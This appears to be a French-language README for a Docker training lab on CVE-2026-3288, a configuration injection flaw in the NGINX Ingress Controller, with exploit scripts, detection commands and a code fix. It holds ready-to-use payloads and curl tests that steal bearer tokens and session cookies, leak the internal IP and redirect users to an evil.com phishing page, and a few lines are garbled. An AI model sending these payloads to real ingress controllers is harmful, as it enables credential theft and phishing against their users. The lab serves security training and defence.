# Laboratoire vulnérable basé sur Docker pour CVE-2026-3288 NGINX Ingress configuration injection, avec scripts d'exploitation, surveillance de détection et conseils de remédiation pour une formation en sécurité autorisée.
⚠️ AVERTISSEMENT : Ce laboratoire contient des configurations intentionnellement vulnérables pour FORMATION EN SÉCURITÉ AUTORISÉE UNIQUEMENT
CVE-2026-3288 (CVSS 8.8 ÉLEVÉ) - Injection de configuration dans NGINX Ingress Controller
") dans la configuration des cheminsLa fonction buildProxyPass() ne nettoie pas l'entrée du chemin avant de l'interpoler dans la configuration nginx, permettant aux attaquants de sortir des chaînes entre guillemets et d'injecter des directives nginx arbitraires.
CVE-2026-3288-lab/
├── README.md # Ce fichier
├── docker-compose.yml # Configuration principale du laboratoire
├── docker/
│ ├── nginx/
│ │ ├── Dockerfile # Configuration NGINX vulnérable
│ │ ├── nginx.conf # Configuration de base
│ │ └── vulnerable-config.conf # Gestion vulnérable des chemins
│ └── backend/
│ ├── Dockerfile # Application backend simple
│ └── app.py # Application Flask
├── exploits/
│ ├── exploit.py # Script d'exploitation automatisé
│ ├── payloads.txt # Collection de payloads d'exploitation
│ └── test-exploits.sh # Teste toutes les exploitations
├── detection/
│ └── monitor-logs.sh # Surveille les tentatives d'exploitation
└── cleanup/
└── cleanup.sh # Supprime toutes les ressources du laboratoire
cd CVE-2026-3288-lab
# Démarrer l'environnement vulnérable
docker-compose up -d
# Vérifier le statut
docker-compose ps
# Tester que le backend fonctionne
curl http://localhost:8080/
# Tester que NGINX fonctionne
curl http://localhost/
cd exploits
# Exploitation automatisée
python3 exploit.py --all
# Ou tester les exploits individuellement
bash test-exploits.sh
# Surveiller les journaux NGINX pour détecter les exploitations
docker-compose logs -f nginx
# Surveillance de détection
cd detection
bash monitor-logs.sh
docker-compose down -v
Injecter la directive nginx return pour servir du contenu contrôlé par l'attaquant.
Payload :
/api" return 200 "HACKED BY ATTACKER
Test :
curl 'http://localhost/api" return 200 "HACKED'
Refléter les en-têtes Authorization dans la réponse pour voler les jetons Bearer.
Payload :
/login" return 200 "Token: $http_authorization
Test :
curl -H "Authorization: Bearer secret123" 'http://localhost/login" return 200 "Token: $http_authorization'
Rediriger les utilisateurs vers un site de phishing contrôlé par l'attaquant.
Payload :
/" return 302 "https://evil.com/phishing
Test :
curl -I 'http://localhost/" return 302 "https://evil.com/phishing'
Divulguer des informations internes du serveur.
Payload :
/" return 200 "Internal IP: $server_addr
Test :
curl 'http://localhost/" return 200 "Internal IP: $server_addr'
Voler les cookies de session.
Payload :
/" return 200 "Cookies: $http_cookie
Test :
curl -H "Cookie: session=abc123" 'http://localhost/" return 200 "Cookies: $http_cookie'
# Configuration vulnérable
location ~ "^/api" {
rewrite "(?i)/api" /backend break;
proxy_pass http://backend;
}
Lorsque le chemin contient ", cela brise la chaîne entre guillemets :
# Entrée de l'attaquant : /api" return 200 "HACKED
# Résultat :
location ~ "^/api" return 200 "HACKED" {
# La configuration d'origine est maintenant cassée
}
# Rechercher les motifs suspects
docker-compose logs nginx | grep -E '(return|rewrite|set).*"'
# Vérifier la configuration NGINX pour les directives injectées
docker exec cve-2026-3288-nginx cat /etc/nginx/nginx.conf | grep -A5 "location"
" et \// Avant (vulnérable)
path := location.Path
config := fmt.Sprintf(`rewrite "(?i)%s" %s break;`, path, target)
// Après (corrigé)
path := sanitizeQuotedRegex(location.Path)
config := fmt.Sprintf(`rewrite "(?i)%s" %s break;`, path, target)
Après avoir terminé ce laboratoire, vous comprendrez :
# Vérifier les journaux
docker-compose logs
# Redémarrer
docker-compose restart
# Changer les ports dans docker-compose.yml
# Ou arrêter les services conflictuels
sudo lsof -i :80
# Vérifier que NGINX fonctionne
docker-compose ps nginx
# Vérifier la configuration NGINX
docker exec cve-2026-3288-nginx nginx -t
Créé à des fins de formation en sécurité autorisée et de recherche uniquement